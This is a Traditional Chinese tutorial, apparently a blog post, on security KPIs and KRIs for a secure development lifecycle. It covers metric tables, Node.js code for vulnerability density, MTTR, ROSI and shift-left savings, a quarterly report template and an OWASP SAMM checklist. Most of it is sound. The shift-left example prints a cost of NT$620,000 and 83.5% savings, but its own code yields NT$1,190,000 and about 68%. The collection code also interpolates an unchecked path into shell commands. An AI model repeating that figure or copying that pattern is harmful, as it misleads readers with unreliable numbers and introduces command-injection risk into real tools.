[安全教育] 002 資安 KPI 怎麼定?用數據證明安全投資的價值|關鍵指標與成效追蹤實戰指南
「沒有度量,就沒有改進。沒有改進,就沒有信任。
你花了三個月導入 SSDLC,老闆問你『成效在哪?』——你拿得出數據嗎?
安全不只要做得好,還要讓人看得見。」
— SSDLC by 飛飛
一、資安指標是什麼?為什麼你需要一張「安全體檢報告」?
在 SSDLC 蓋房子的旅程中,我們已經走過了安全需求(確認要防震防火防盜)、安全設計(畫好建築藍圖)、安全開發(用防火建材施工)、安全測試(請結構技師來驗收)、安全部署(交屋前檢查門窗設定)、安全維運(裝好監視器和煙霧偵測器)。現在,我們來到了階段七:安全教育與持續改進(Education & Continuous Improvement)——如何用數據衡量這一切努力的成果。
想像你花了一大筆錢把房子全面翻修:換了防盜門窗、裝了消防灑水系統、加了監視器和保全。然後你老婆問你:「花了這些錢,到底有沒有比較安全?」
你說:「有啊,感覺比較安全了。」
她說:「什麼叫『感覺』?給我看數據。」
這就是資安指標在做的事——把「感覺比較安全」變成「可以證明比較安全」。
在企業裡,這個場景更加現實:你向老闆申請了 NT$50 萬的資安預算,導入了 SAST 掃描、買了 DAST 工具、送工程師去上資安課程。年底績效評估時,老闆問:「這 50 萬花得值嗎?明年還要繼續投嗎?」
如果你只能回答「呃,我們比較安全了」,那明年的預算大概率會被砍。但如果你能拿出一張報告:
- 高風險漏洞從上線前平均 12 個降到 2 個
- 漏洞修復時間從 14 天縮短到 3 天
- 全年零資安事件,避免了預估 NT$500 萬的潛在損失
這就是用數據為安全投資背書,讓「安全」從成本中心變成價值中心。
飛飛觀點:
我曾經跟一位 CTO 聊天,他說:「資安就像買保險,花了錢如果沒出事,大家覺得浪費;出了事才後悔沒買。」資安指標就是解決這個困境的方法——讓安全的價值在「沒出事」的時候也能被量化、被看見。
二、傳統做法 vs. 數據驅動的安全管理
先來看看傳統做法和數據驅動做法的差別:
| 面向 | 傳統做法 | 數據驅動的安全管理 |
|---|---|---|
| 成效評估 | 「感覺比較安全了」 | 「高風險漏洞減少 83%」 |
| 預算申請 | 「我們需要更多資安投資」 | 「每投入 NT$1 在 SAST,省下 NT$8 的修復成本」 |
| 風險溝通 | 「系統可能有漏洞」 | 「目前有 3 個高風險漏洞,預估影響 2 萬名用戶」 |
| 改善方向 | 憑直覺決定 | 用數據找出最該投資的環節 |
| 向上報告 | 技術人員自己懂就好 | 管理層也能看懂的儀表板 |
| 團隊激勵 | 「大家要注意安全」 | 「這季的安全分數提升了 15 分,做得好!」 |
用蓋房子的比喻來說:
傳統做法就像裝修完房子後,問住戶「覺得怎麼樣?」——大家說「不錯啊」,但你不知道到底哪裡好、哪裡還需要加強。
數據驅動就像請驗屋師來出一份完整的檢測報告:結構強度 95 分、消防系統合格率 100%、門窗氣密性 88 分——你清楚知道整體狀況,也知道該把下一筆預算花在哪裡(氣密性)。
三、資安指標的兩大支柱:KPI 與 KRI
在進入具體指標之前,先搞清楚兩個核心概念:
KPI(Key Performance Indicator):關鍵績效指標
KPI 回答的問題是:「我們做得好不好?」
KPI 衡量的是你的安全措施的「成效」。就像學生的考試成績——用來評估學習效果、追蹤進步趨勢。
範例:
- 漏洞修復時間(MTTR)是否在縮短?
- CI/CD Pipeline 的安全掃描覆蓋率是否在提升?
- 團隊的資安訓練完成率是多少?
KRI(Key Risk Indicator):關鍵風險指標
KRI 回答的問題是:「我們有多危險?」
KRI 衡量的是你的系統「當前面臨的風險水平」。就像體溫計——用來監測健康狀況,超標就要注意。
範例:
- 目前有多少個未修補的高風險漏洞?
- 過去 30 天發生了幾次安全事件?
- 有多少個第三方套件存在已知 CVE?
KPI vs. KRI 的關係
| 面向 | KPI(績效指標) | KRI(風險指標) |
|---|---|---|
| 回答什麼 | 我們做得好不好? | 我們有多危險? |
| 看的方向 | 回顧過去的表現 | 預警未來的風險 |
| 比喻 | 學生的期末成績 | 學生的健康檢查報告 |
| 目標 | 越高越好(或趨勢向好) | 越低越好(或控制在閾值內) |
| 範例 | 漏洞修復速度、訓練完成率 | 未修補漏洞數、暴露的攻擊面 |
飛飛觀點:
很多團隊只追蹤 KPI 卻忽略 KRI,就像只看考試成績卻不做健康檢查。成績再好,如果身體出問題也沒用。反過來說,只看 KRI 而不看 KPI,就像每天量體溫卻不運動——知道自己有風險,但不知道怎麼變好。兩者都要看,才是完整的資安成效追蹤。
四、關鍵安全指標清單:你的團隊應該追蹤什麼?
以下是我整理的資安指標體系,分為五大類別。不需要一次全做,後面會教你怎麼挑選最適合你的指標。
4.1 漏洞管理指標
這是最基本也最重要的一類指標,衡量你發現和修復漏洞的能力。
| 指標名稱 | 類型 | 計算方式 | 目標方向 | 說明 |
|---|---|---|---|---|
| 漏洞密度 | KRI | 漏洞數 / 千行程式碼(KLOC) | ↓ 越低越好 | 程式碼的「安全品質密度」 |
| 高風險漏洞數 | KRI | CVSS ≥ 7.0 的未修補漏洞總數 | ↓ 越低越好 | 當前的風險暴露程度 |
| 平均修復時間(MTTR) | KPI | 從發現到修復的平均天數 | ↓ 越短越好 | 團隊的修復效率 |
| 修復率 | KPI | 已修復漏洞 / 已發現漏洞 × 100% | ↑ 越高越好 | 漏洞是否有被處理 |
| 漏洞逃逸率 | KPI | 上線後才發現的漏洞 / 總漏洞數 × 100% | ↓ 越低越好 | 開發階段的攔截能力 |
| 漏洞重開率 | KPI | 修復後又重現的漏洞 / 已修復漏洞 × 100% | ↓ 越低越好 | 修復品質是否到位 |
台灣企業的合理目標參考:
| 指標 | 起步階段 | 成長階段 | 成熟階段 |
|---|---|---|---|
| 漏洞密度 | < 10 / KLOC | < 5 / KLOC | < 2 / KLOC |
| 高風險漏洞 MTTR | < 30 天 | < 14 天 | < 7 天 |
| 中風險漏洞 MTTR | < 90 天 | < 30 天 | < 14 天 |
| 漏洞逃逸率 | < 30% | < 15% | < 5% |
4.2 安全流程指標
衡量安全工具和流程的落實程度。
| 指標名稱 | 類型 | 計算方式 | 目標方向 | 說明 |
|---|---|---|---|---|
| 安全掃描覆蓋率 | KPI | 有跑安全掃描的 Repo / 總 Repo 數 × 100% | ↑ 越高越好 | CI/CD 安全整合的覆蓋程度 |
| 掃描通過率 | KPI | 通過安全品質門檻的 Build / 總 Build 數 × 100% | ↑ 越高越好 | 程式碼品質的趨勢 |
| 安全審查率 | KPI | 經過安全審查的 PR / 總 PR 數 × 100% | ↑ 越高越好 | Code Review 中安全的涵蓋率 |
| 誤報率 | KPI | 確認為誤報的告警 / 總告警數 × 100% | ↓ 越低越好 | 工具的精準度(太高會導致信任流失) |
| 第三方套件漏洞比例 | KRI | 有已知 CVE 的套件 / 總套件數 × 100% | ↓ 越低越好 | 供應鏈風險暴露程度 |
4.3 安全事件指標
衡量你的偵測和回應能力。
| 指標名稱 | 類型 | 計算方式 | 目標方向 | 說明 |
|---|---|---|---|---|
| 平均偵測時間(MTTD) | KPI | 從事件發生到被偵測的平均時間 | ↓ 越短越好 | 監控系統的靈敏度 |
| 平均回應時間(MTTR) | KPI | 從偵測到開始處理的平均時間 | ↓ 越短越好 | 事件回應的效率 |
| 安全事件數 | KRI | 過去 N 天/月的安全事件總數 | ↓ 越低越好 | 整體安全態勢 |
| 事件復發率 | KPI | 同類型事件再次發生的比例 | ↓ 越低越好 | 根因是否被徹底解決 |
4.4 人員與文化指標
衡量團隊的安全意識和能力。
| 指標名稱 | 類型 | 計算方式 | 目標方向 | 說明 |
|---|---|---|---|---|
| 資安訓練完成率 | KPI | 完成訓練的人數 / 應訓練人數 × 100% | ↑ 越高越好 | 教育訓練的覆蓋率 |
| Security Champion 覆蓋率 | KPI | 有 Champion 的團隊 / 總團隊數 × 100% | ↑ 越高越好 | 安全文化的滲透程度 |
| 內部安全回報數 | KPI | 團隊成員主動回報的安全問題數 | ↑ 越高越好 | 安全文化的健康度 |
| 安全知識評量分數 | KPI | 團隊在安全測驗中的平均分數 | ↑ 越高越好 | 安全知識的實際掌握度 |
4.5 商業影響指標
讓管理層看得懂的指標,連結安全與商業價值。
| 指標名稱 | 類型 | 計算方式 | 目標方向 | 說明 |
|---|---|---|---|---|
| 安全修復成本節省 | KPI | 開發階段修復成本 vs. 上線後修復成本的差額 | ↑ 越高越好 | 左移策略的經濟效益 |
| 因安全事件導致的停機時間 | KRI | 因資安事件導致的服務中斷總時數 | ↓ 越低越好 | 安全對可用性的影響 |
| 合規差距數 | KRI | 未滿足法規要求的項目數 | ↓ 越低越好 | 法規風險暴露程度 |
| 安全投資報酬率(ROSI) | KPI | (預期損失 – 實際損失 – 安全投資)/ 安全投資 × 100% | ↑ 越高越好 | 安全投資的整體效益 |
五、實戰:用 Node.js 建立資安指標追蹤系統
讓我們用一個台灣電商平台的場景,從頭到尾建立一套資安指標追蹤系統。
5.1 定義度量資料結構
// security-metrics.js — 資安指標資料收集模組
/**
* 資安指標的資料結構定義
* 用於追蹤 SSDLC 各階段的安全成效
*/
const SecurityMetricsSchema = {
// 報告基本資訊
reportPeriod: {
startDate: '2026-01-01',
endDate: '2026-03-31',
quarter: 'Q1-2026',
},
// 4.1 漏洞管理指標
vulnerabilityMetrics: {
totalDiscovered: 0, // 本期發現的漏洞總數
totalResolved: 0, // 本期修復的漏洞總數
openHighRisk: 0, // 目前未修補的高風險漏洞
openMediumRisk: 0, // 目前未修補的中風險漏洞
mttrHigh: 0, // 高風險漏洞平均修復天數
mttrMedium: 0, // 中風險漏洞平均修復天數
escapedToProduction: 0, // 逃逸到正式環境的漏洞數
reopened: 0, // 修復後又重開的漏洞數
densityPerKLOC: 0, // 每千行程式碼的漏洞密度
},
// 4.2 安全流程指標
processMetrics: {
reposWithScanning: 0, // 有安全掃描的 Repo 數
totalRepos: 0, // 總 Repo 數
buildsPassed: 0, // 通過安全門檻的 Build 數
totalBuilds: 0, // 總 Build 數
prsWithSecurityReview: 0, // 經安全審查的 PR 數
totalPRs: 0, // 總 PR 數
falsePositives: 0, // 誤報數
totalAlerts: 0, // 總告警數
depsWithCVE: 0, // 有已知 CVE 的套件數
totalDeps: 0, // 總套件數
},
// 4.3 安全事件指標
incidentMetrics: {
totalIncidents: 0, // 安全事件總數
mttdHours: 0, // 平均偵測時間(小時)
mttrHours: 0, // 平均回應時間(小時)
recurrentIncidents: 0, // 復發的事件數
},
// 4.4 人員與文化指標
cultureMetrics: {
trainingCompleted: 0, // 完成訓練的人數
trainingRequired: 0, // 應訓練的人數
teamsWithChampion: 0, // 有 Security Champion 的團隊數
totalTeams: 0, // 總團隊數
internalReports: 0, // 內部安全回報數
avgQuizScore: 0, // 安全測驗平均分數
},
};
5.2 自動化資料收集
// collect-metrics.js — 從 CI/CD 工具自動收集度量資料
const { execSync } = require('child_process');
/**
* 從 npm audit 收集依賴漏洞資料
*/
function collectDependencyMetrics(projectPath) {
try {
const auditResult = execSync(
<code>cd ${projectPath} && npm audit --json 2>/dev/null</code>,
{ encoding: 'utf8' }
);
const audit = JSON.parse(auditResult);
return {
totalDeps: Object.keys(audit.vulnerabilities || {}).length,
critical: countBySeverity(audit, 'critical'),
high: countBySeverity(audit, 'high'),
moderate: countBySeverity(audit, 'moderate'),
low: countBySeverity(audit, 'low'),
timestamp: new Date().toISOString(),
};
} catch (error) {
console.error('npm audit 執行失敗:', error.message);
return null;
}
}
function countBySeverity(audit, severity) {
return Object.values(audit.vulnerabilities || {})
.filter(v => v.severity === severity).length;
}
/**
* 從 Git 記錄計算程式碼行數(用於漏洞密度)
*/
function countLinesOfCode(projectPath) {
try {
// 使用 cloc 或簡單的 wc -l
const result = execSync(
<code>find ${projectPath}/src -name "*.js" -o -name "*.ts" | xargs wc -l | tail -1</code>,
{ encoding: 'utf8' }
);
const totalLines = parseInt(result.trim().split(/\s+/)[0], 10);
return totalLines;
} catch {
return 0;
}
}
/**
* 計算漏洞密度
*/
function calculateVulnerabilityDensity(vulnCount, linesOfCode) {
if (linesOfCode === 0) return 0;
const kloc = linesOfCode / 1000;
return parseFloat((vulnCount / kloc).toFixed(2));
}
/**
* 從漏洞追蹤系統計算 MTTR(平均修復時間)
* 假設使用 JSON 格式的漏洞記錄
*/
function calculateMTTR(vulnerabilities, severity = 'high') {
const resolved = vulnerabilities
.filter(v => v.severity === severity && v.resolvedAt)
.map(v => {
const discovered = new Date(v.discoveredAt);
const resolved = new Date(v.resolvedAt);
return (resolved - discovered) / (1000 * 60 * 60 * 24); // 天
});
if (resolved.length === 0) return 0;
const avgDays = resolved.reduce((a, b) => a + b, 0) / resolved.length;
return parseFloat(avgDays.toFixed(1));
}
module.exports = {
collectDependencyMetrics,
countLinesOfCode,
calculateVulnerabilityDensity,
calculateMTTR,
};
5.3 計算安全投資報酬率(ROSI)
這是讓老闆眼睛一亮的指標——用數字證明安全投資是划算的。
// rosi-calculator.js — 安全投資報酬率計算器
/**
* ROSI(Return on Security Investment)計算
*
* 公式:ROSI = (預期年化損失 × 風險降低比例 - 安全投資成本) / 安全投資成本 × 100%
*
* 其中:
* - ALE(Annualized Loss Expectancy)= SLE × ARO
* - SLE(Single Loss Expectancy)= 單次事件的預估損失
* - ARO(Annualized Rate of Occurrence)= 年化發生頻率
*/
function calculateROSI({
singleLossExpectancy, // 單次資安事件的預估損失(NT$)
annualRateOfOccurrence, // 年化發生頻率(次/年)
riskReductionRate, // 導入安全措施後的風險降低比例(0-1)
securityInvestment, // 安全投資總成本(NT$)
}) {
// 計算年化預期損失(ALE)
const ale = singleLossExpectancy * annualRateOfOccurrence;
// 計算導入安全措施後「避免的損失」
const avoidedLoss = ale * riskReductionRate;
// 計算 ROSI
const rosi = ((avoidedLoss - securityInvestment) / securityInvestment) * 100;
return {
ale: Math.round(ale),
avoidedLoss: Math.round(avoidedLoss),
securityInvestment,
rosi: parseFloat(rosi.toFixed(1)),
netBenefit: Math.round(avoidedLoss - securityInvestment),
};
}
// ============================
// 實際案例:台灣電商平台
// ============================
const ecommerceCase = calculateROSI({
// 一次資料外洩事件的預估損失
// 包含:罰鍰 + 客戶流失 + 法律費用 + 商譽損失
singleLossExpectancy: 5000000, // NT$500 萬
// 根據產業統計,類似規模的電商平台
// 每年發生重大資安事件的頻率約 0.3 次
annualRateOfOccurrence: 0.3,
// 導入 SSDLC(SAST + SCA + DAST + 教育訓練)後
// 預估可降低 70% 的風險
riskReductionRate: 0.7,
// 年度安全投資
// SAST 工具:NT$0(使用開源 Semgrep)
// DAST 工具:NT$0(使用開源 ZAP)
// 教育訓練:NT$100,000
// 一次滲透測試:NT$250,000
// 工程師時間成本:NT$150,000
securityInvestment: 500000, // NT$50 萬
});
console.log('=== 台灣電商平台 ROSI 分析 ===');
console.log(<code class="kb-btn">年化預期損失 (ALE):NT$${ecommerceCase.ale.toLocaleString()}</code>);
console.log(<code class="kb-btn">避免的損失:NT$${ecommerceCase.avoidedLoss.toLocaleString()}</code>);
console.log(<code class="kb-btn">安全投資:NT$${ecommerceCase.securityInvestment.toLocaleString()}</code>);
console.log(<code class="kb-btn">淨效益:NT$${ecommerceCase.netBenefit.toLocaleString()}</code>);
console.log(<code>ROSI:${ecommerceCase.rosi}%</code>);
// 輸出:
// === 台灣電商平台 ROSI 分析 ===
// 年化預期損失 (ALE):NT$1,500,000
// 避免的損失:NT$1,050,000
// 安全投資:NT$500,000
// 淨效益:NT$550,000
// ROSI:110%
// → 每投入 NT$1,產生 NT$1.10 的安全效益
飛飛觀點:
ROSI 不是精確的科學計算,而是一種「合理的估算」。重點不在於數字是否 100% 精確,而在於它提供了一個讓技術人員和管理層能夠「講同一種語言」的框架。當老闆問「為什麼要花這筆錢」,你能拿出一個有邏輯的數字,而不是只說「因為安全很重要」——這就夠了。
5.4 漏洞修復成本的「左移效益」
IBM 在其年度《資料外洩成本報告》中長年追蹤一個重要發現:漏洞越早發現,修復成本越低。以下是根據業界研究整理的相對成本:
// shift-left-cost.js — 左移策略的成本效益計算
/**
* 不同階段發現漏洞的相對修復成本
* 基準:需求階段 = 1x
*/
const RELATIVE_COST = {
requirements: 1, // 需求階段(寫規格時發現)
design: 5, // 設計階段(威脅建模時發現)
implementation: 10, // 實作階段(Code Review / SAST 發現)
testing: 15, // 測試階段(DAST / 滲透測試發現)
production: 30, // 正式環境(上線後才發現)
breach: 100, // 資料外洩事件(被攻擊後才發現)
};
/**
* 計算左移策略的成本節省
*/
function calculateShiftLeftSavings({
vulnsFoundInRequirements,
vulnsFoundInDesign,
vulnsFoundInImplementation,
vulnsFoundInTesting,
vulnsFoundInProduction,
baseCostPerVuln, // 需求階段修復一個漏洞的基本成本(NT$)
}) {
// 如果所有漏洞都在正式環境才發現的「最差情境」成本
const totalVulns =
vulnsFoundInRequirements +
vulnsFoundInDesign +
vulnsFoundInImplementation +
vulnsFoundInTesting +
vulnsFoundInProduction;
const worstCaseCost = totalVulns * baseCostPerVuln * RELATIVE_COST.production;
// 實際成本(在不同階段發現)
const actualCost =
vulnsFoundInRequirements * baseCostPerVuln * RELATIVE_COST.requirements +
vulnsFoundInDesign * baseCostPerVuln * RELATIVE_COST.design +
vulnsFoundInImplementation * baseCostPerVuln * RELATIVE_COST.implementation +
vulnsFoundInTesting * baseCostPerVuln * RELATIVE_COST.testing +
vulnsFoundInProduction * baseCostPerVuln * RELATIVE_COST.production;
return {
totalVulns,
worstCaseCost: Math.round(worstCaseCost),
actualCost: Math.round(actualCost),
savings: Math.round(worstCaseCost - actualCost),
savingsPercentage: parseFloat(
(((worstCaseCost - actualCost) / worstCaseCost) * 100).toFixed(1)
),
};
}
// 實際案例:某台灣金融科技公司的季度數據
const result = calculateShiftLeftSavings({
vulnsFoundInRequirements: 3, // 安全規格審查時發現 3 個
vulnsFoundInDesign: 5, // 威脅建模時發現 5 個
vulnsFoundInImplementation: 12, // SAST / Code Review 發現 12 個
vulnsFoundInTesting: 4, // DAST / 滲透測試發現 4 個
vulnsFoundInProduction: 1, // 上線後才發現 1 個
baseCostPerVuln: 5000, // 需求階段修復一個漏洞約 NT$5,000
});
console.log('=== 左移效益分析 ===');
console.log(<code>總漏洞數:${result.totalVulns} 個</code>);
console.log(<code class="kb-btn">最差情境成本(全在線上發現):NT$${result.worstCaseCost.toLocaleString()}</code>);
console.log(<code class="kb-btn">實際成本(左移後):NT$${result.actualCost.toLocaleString()}</code>);
console.log(<code class="kb-btn">節省金額:NT$${result.savings.toLocaleString()}</code>);
console.log(<code>節省比例:${result.savingsPercentage}%</code>);
// 輸出:
// === 左移效益分析 ===
// 總漏洞數:25 個
// 最差情境成本(全在線上發現):NT$3,750,000
// 實際成本(左移後):NT$620,000
// 節省金額:NT$3,130,000
// 節省比例:83.5%
六、資安成效報告模板:可直接使用的季度報告
以下是一份完整的資安成效季度報告模板,你可以直接拿來用:
# 資安成效季度報告
## 報告資訊
- **報告期間**:2026 年 Q1(1 月 - 3 月)
- **報告日期**:2026/04/05
- **編製人**:[Security Champion 姓名]
- **審核人**:[技術主管姓名]
---
## 一、執行摘要(給管理層看的 30 秒版本)
本季安全態勢整體**改善**,主要亮點:
- ✅ 高風險漏洞修復時間從 21 天縮短至 7 天(改善 67%)
- ✅ CI/CD 安全掃描覆蓋率從 60% 提升至 85%
- ✅ 全季零重大安全事件
- ⚠️ 第三方套件漏洞比例偏高(12%),需加速更新
**安全投資效益**:本季安全投資 NT$150,000,預估避免損失 NT$500,000,ROSI 為 233%。
---
## 二、漏洞管理
| 指標 | 上季 | 本季 | 趨勢 | 目標 |
|------|------|------|------|------|
| 漏洞密度(/ KLOC) | 4.2 | 3.1 | ↓ 改善 | < 2.0 |
| 未修補高風險漏洞 | 5 | 2 | ↓ 改善 | 0 |
| 高風險 MTTR(天) | 21 | 7 | ↓ 改善 | < 7 |
| 中風險 MTTR(天) | 45 | 18 | ↓ 改善 | < 14 |
| 漏洞逃逸率 | 18% | 8% | ↓ 改善 | < 5% |
| 漏洞重開率 | 10% | 5% | ↓ 改善 | < 3% |
**分析**:SAST 工具(Semgrep)在 Q1 初導入後,顯著提升了開發階段的攔截能力,
漏洞逃逸率下降 10 個百分點。
---
## 三、安全流程
| 指標 | 上季 | 本季 | 趨勢 | 目標 |
|------|------|------|------|------|
| 安全掃描覆蓋率 | 60% | 85% | ↑ 改善 | 100% |
| 掃描通過率 | 72% | 81% | ↑ 改善 | > 90% |
| 安全審查率 | 30% | 55% | ↑ 改善 | > 80% |
| 誤報率 | 25% | 18% | ↓ 改善 | < 10% |
| 有 CVE 的套件比例 | 15% | 12% | ↓ 改善 | < 5% |
---
## 四、安全事件
| 指標 | 上季 | 本季 | 趨勢 |
|------|------|------|------|
| 安全事件總數 | 3 | 0 | ↓ 改善 |
| P1/P2 事件 | 1 | 0 | ↓ 改善 |
| MTTD(小時) | 48 | N/A | - |
| MTTR(小時) | 72 | N/A | - |
---
## 五、人員與文化
| 指標 | 上季 | 本季 | 趨勢 | 目標 |
|------|------|------|------|------|
| 資安訓練完成率 | 40% | 75% | ↑ 改善 | 100% |
| Security Champion 覆蓋率 | 25% | 50% | ↑ 改善 | 100% |
| 內部安全回報數 | 2 | 7 | ↑ 改善 | 持續增加 |
---
## 六、下季行動計畫
| 優先序 | 行動項目 | 負責人 | 預計完成日 |
|--------|---------|--------|-----------|
| P1 | 安全掃描覆蓋率提升至 100% | DevOps Lead | Q2 第 2 週 |
| P1 | 處理剩餘 2 個高風險漏洞 | 後端團隊 | Q2 第 1 週 |
| P2 | 第三方套件全面更新 | 各團隊 Champion | Q2 第 4 週 |
| P2 | 調整 SAST 規則降低誤報率 | 資安 Champion | Q2 第 6 週 |
| P3 | 全員資安訓練達 100% | HR + 資安 | Q2 第 8 週 |
飛飛觀點:
報告最重要的不是「有多少頁」,而是「前 30 秒能不能讓人看懂」。管理層通常只看執行摘要——所以那一段要用最簡潔的方式傳達「現在安全嗎?」和「錢花得值嗎?」兩個核心問題。詳細數據是給技術團隊深入分析用的。
七、用 OWASP SAMM 評估安全成熟度
除了追蹤單一指標,你也需要一個「全局視角」來評估團隊的安全開發成熟度。OWASP SAMM(Software Assurance Maturity Model) 就是這樣的工具。
SAMM 是什麼?
SAMM 把安全開發分成 5 個業務功能、15 個安全實務,每個實務有 3 個成熟度等級。你可以用它來:
- 評估現況:我們現在在哪裡?
- 設定目標:我們想達到什麼水準?
- 追蹤進步:我們有沒有在進步?
SAMM 五大業務功能
| 業務功能 | 說明 | 包含的安全實務 |
|---|---|---|
| 治理(Governance) | 管理和策略 | 策略與指標、政策與合規、教育與指導 |
| 設計(Design) | 威脅評估和架構 | 威脅評估、安全需求、安全架構 |
| 實作(Implementation) | 建構和部署 | 安全建構、安全部署、缺陷管理 |
| 驗證(Verification) | 測試和審查 | 架構評估、需求驗證測試、安全測試 |
| 營運(Operations) | 事件和環境 | 事件管理、環境管理、營運管理 |
成熟度等級
| 等級 | 說明 | 比喻 |
|---|---|---|
| Level 0 | 沒有做 | 房子沒裝門鎖 |
| Level 1 | 有基本做法,但非系統化 | 有裝門鎖,但沒有保全系統 |
| Level 2 | 有系統化的流程 | 有保全系統,定期巡邏 |
| Level 3 | 全面優化,持續改進 | 24 小時監控中心,定期演練 |
快速自評 Checklist
以下是一份簡化版的 SAMM 自評表,適合作為團隊的第一次評估:
## OWASP SAMM 快速自評 Checklist
### 治理(Governance)
- [ ] Level 1: 有基本的安全政策文件
- [ ] Level 1: 團隊成員接受過安全教育訓練
- [ ] Level 2: 有定義資安 KPI 並定期追蹤
- [ ] Level 2: 安全政策每年審查更新
- [ ] Level 3: 安全策略與業務目標對齊,管理層定期審查
### 設計(Design)
- [ ] Level 1: 對高風險功能有做威脅建模
- [ ] Level 1: 有定義基本的安全需求
- [ ] Level 2: 所有新功能都有威脅建模
- [ ] Level 2: 有安全架構設計的標準和模式
- [ ] Level 3: 威脅建模結果被追蹤和驗證
### 實作(Implementation)
- [ ] Level 1: 有安全編碼規範
- [ ] Level 1: 有使用 SAST 工具
- [ ] Level 2: CI/CD 整合安全掃描
- [ ] Level 2: 有第三方套件漏洞管理流程
- [ ] Level 3: 安全品質門檻自動化,零容忍政策
### 驗證(Verification)
- [ ] Level 1: 有做過至少一次滲透測試
- [ ] Level 1: 有使用 DAST 工具
- [ ] Level 2: 定期執行安全測試(至少每季)
- [ ] Level 2: 安全測試涵蓋 OWASP Top 10
- [ ] Level 3: 安全測試完全自動化,結果追蹤到修復
### 營運(Operations)
- [ ] Level 1: 有基本的事件回應流程
- [ ] Level 1: 有安全監控和日誌
- [ ] Level 2: 有事件回應 SOP 和演練
- [ ] Level 2: 安全監控涵蓋應用層和基礎設施層
- [ ] Level 3: 自動化事件偵測和回應,定期紅隊演練
評分方式:
- 每個 Level 的所有項目都勾選 → 達到該 Level
- 取每個業務功能的最低達成 Level 作為該功能的分數
- 5 個功能的平均值就是你的整體成熟度分數
八、安全儀表板設計:讓數據會說話
好的度量數據需要好的呈現方式。以下是安全儀表板的設計建議:
儀表板的三層結構
┌─────────────────────────────────────────────────────────────┐
│ Layer 1:執行摘要 │
│ 給 CTO/CEO 看的,一眼就知道「安全嗎?」 │
│ │
│ 🟢 安全態勢:良好 📊 ROSI:110% ⚠️ 待處理:2 個高風險 │
└─────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────┐
│ Layer 2:趨勢分析 │
│ 給技術主管看的,了解「有沒有在進步?」 │
│ │
│ 📈 漏洞密度趨勢(過去 4 季) │
│ 📉 MTTR 趨勢(過去 4 季) │
│ 📊 安全掃描覆蓋率趨勢 │
└─────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────┐
│ Layer 3:詳細數據 │
│ 給資安團隊看的,深入分析「哪裡需要改進?」 │
│ │
│ 🔍 個別漏洞清單與狀態 │
│ 📋 各 Repo 的掃描結果 │
│ 👥 各團隊的訓練完成度 │
└─────────────────────────────────────────────────────────────┘
安全態勢的紅綠燈系統
用簡單的紅黃綠燈讓所有人一眼看懂:
| 燈號 | 條件 | 代表意義 |
|---|---|---|
| 🟢 綠燈 | 所有高風險漏洞已修復 + 掃描覆蓋率 > 80% + 本月零事件 | 安全態勢良好 |
| 🟡 黃燈 | 有 1-3 個高風險漏洞待修復,或覆蓋率 < 80% | 需要關注 |
| 🔴 紅燈 | 有 > 3 個高風險漏洞,或發生 P1/P2 事件 | 需要立即行動 |
九、團隊落地建議:從零開始建立資安指標追蹤
建議一:從三個指標開始
如果你的團隊從來沒追蹤過資安指標,不要一口氣追蹤 20 個指標——那只會讓大家疲於奔命。先從這三個最基本的開始:
- 高風險漏洞數量(KRI)— 知道你現在有多危險
- 高風險漏洞 MTTR(KPI)— 知道你修得夠不夠快
- 安全掃描覆蓋率(KPI)— 知道你有沒有在做安全檢查
這三個指標就像體檢的血壓、血糖、心率——最基本但最關鍵。
建議二:善用現有工具自動收集
不需要另外買度量工具。你的 CI/CD 系統已經有很多數據:
| 資料來源 | 可以提取的指標 |
|---|---|
| GitHub / GitLab | PR 數、Code Review 數、Merge 時間 |
| npm audit / Snyk | 套件漏洞數、嚴重等級分布 |
| Semgrep / SonarQube | 程式碼漏洞數、漏洞密度 |
| OWASP ZAP | DAST 掃描結果、漏洞類別分布 |
| Jira / Linear | 漏洞修復時間、漏洞狀態追蹤 |
| Slack / Teams | 安全事件通報數、回應時間 |
建議三:每季做一次資安成效報告
不需要每天看數字,但至少每季做一次正式的回顧:
每季資安指標追蹤流程:
第 1 週:自動化收集數據
↓
第 2 週:分析趨勢,撰寫報告
↓
第 3 週:團隊內部 Review
↓
第 4 週:向管理層報告,設定下季目標
↓
(下一季重複)
建議四:把度量結果跟團隊目標連結
度量不是為了懲罰,而是為了改進。把資安指標融入團隊的 OKR 或 KPI:
## 範例:工程團隊 Q2 OKR
**Objective:提升產品安全品質**
KR1:高風險漏洞 MTTR 從 14 天降至 7 天
KR2:CI/CD 安全掃描覆蓋率達 100%
KR3:漏洞逃逸率從 15% 降至 8%
KR4:全員完成 OWASP Top 10 線上課程
建議五:慶祝進步,不懲罰失敗
這是安全文化的核心。當指標改善時,公開表揚團隊。當指標退步時,把它當作學習機會,不是指責對象。
- ✅ 「這季的 MTTR 縮短了 50%,大家做得很好!」
- ✅ 「漏洞逃逸率上升了,我們來看看是哪個環節需要加強。」
- ❌ 「誰寫的程式碼又出問題了?」
常見問題 FAQ
Q1:我們公司很小(3-5 人團隊),有必要追蹤資安指標嗎?
有,但可以極度簡化。小團隊只需要追蹤三個數字:目前有幾個高風險漏洞、修一個漏洞平均要多久、CI/CD 有沒有跑安全掃描。每個月花 15 分鐘看一下就好。重點不是做出一份精美的報告,而是養成「用數據看安全」的習慣。
Q2:ROSI 的數據很難估算,有什麼簡化方法?
可以用「事件成本法」來簡化:找出過去一年你們產業中類似規模公司發生資安事件的案例,估算一次事件的平均成本(包括停機、修復、客戶流失、罰鍰)。台灣中小型電商的一次資料外洩事件平均損失在 NT$200 萬到 NT$1,000 萬之間,金融業更高。拿這個數字乘以你認為的年化發生頻率(通常 0.1-0.5),就是你的 ALE。不需要追求精確,合理的估算就夠了。
Q3:安全指標一直沒改善怎麼辦?
先檢查三件事:一是指標本身是否合理——目標太高會讓團隊挫敗,建議一次只改善一個指標;二是工具是否到位——光靠人力很難提升指標,自動化工具是必要的投資;三是是否有明確的負責人——沒人負責的指標不會自己變好。如果三件事都確認了,還是沒進步,可能需要重新檢視你的安全流程設計。
Q4:管理層對資安成效報告沒興趣怎麼辦?
把報告「翻譯」成他們在意的語言。管理層不在意漏洞密度是 3.1 還是 4.2,但他們在意:「如果不處理這些漏洞,一旦發生資料外洩,可能面臨 NT$500 萬的罰鍰和客戶流失。」「這季的安全投資為公司避免了 NT$100 萬的潛在損失。」用風險和金錢說話,比用技術術語有效 10 倍。
十、結語:量化安全,讓努力被看見
